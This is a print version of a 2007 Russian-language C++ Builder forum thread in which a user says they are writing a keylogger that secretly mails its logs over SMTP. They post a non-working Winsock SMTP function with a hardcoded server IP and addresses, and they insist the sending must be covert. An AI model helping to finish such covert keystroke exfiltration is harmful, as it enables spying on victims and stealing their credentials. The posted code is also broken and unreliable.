Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C++ Builder > SMTP


Автор: n00by 31.3.2007, 18:25
вобщем надо написать прогу-кейлогер, которая отсылает логи по smtp. Нашел вот такую фигню 
Код
#include<winsock.h>
void SendMail(void)
{
   WSADATA stWSADataTCPIP;
    if(WSAStartup(0x0101, &stWSADataTCPIP))
    {
       SOCKET nSMTPServerSocket;
       struct sockaddr_in smtp_address;
       int nConnect;
       int iLength;
       int iMsg = 0;
       int iEnd = 0;
       BYTE sBuf[4096];

         char *MailMessage[] =
         {
           "HELO axel.ru\r\n",
           "MAIL FROM:<vasya_pupkin@cool_mail.ru>\r\n",   // отправитель
           "RCPT TO:<loki_hapuk@mail.ru>\r\n",            // получатель
           "DATA\r\n",
           "здрасте, я smtp\r\n\r\n.\r\n",                // сам собсна текст
           "QUIT\r\n",
           NULL
         };
         //---------------------------------------------------------------------

           if(nSMTPServerSocket != INVALID_SOCKET)
             {
               smtp_address.sin_family = AF_INET;
               // IPшник сервера
               smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
               smtp_address.sin_port = htons(25);

               nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                          sizeof(smtp_address));

                   if(nConnect/*может надо !nConnect ...*/)  {}
                   else  {
                      do  {
                           iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
                           iEnd += iLength;
                           sBuf[iEnd] = '\0';
                           send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
                           iMsg++;
                           } while(MailMessage[iMsg]);
                         }

              closesocket(nSMTPServerSocket);
          }
  }
return void;
}

 Она норм компилится, но ничо не мылит. Дайте плз ктонить работающую функцию или помогите с этой.



ЗЫ как называиццо движок сего форума? оч он мне понравился=)

Автор: JAnty 31.3.2007, 18:48
Вот.
http://www.leaderit.ru/books/Internet%20Development/p1/p1.html#11

Автор: n00by 31.3.2007, 20:08
это же кейлогер. нуно незаметно через сокеты

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)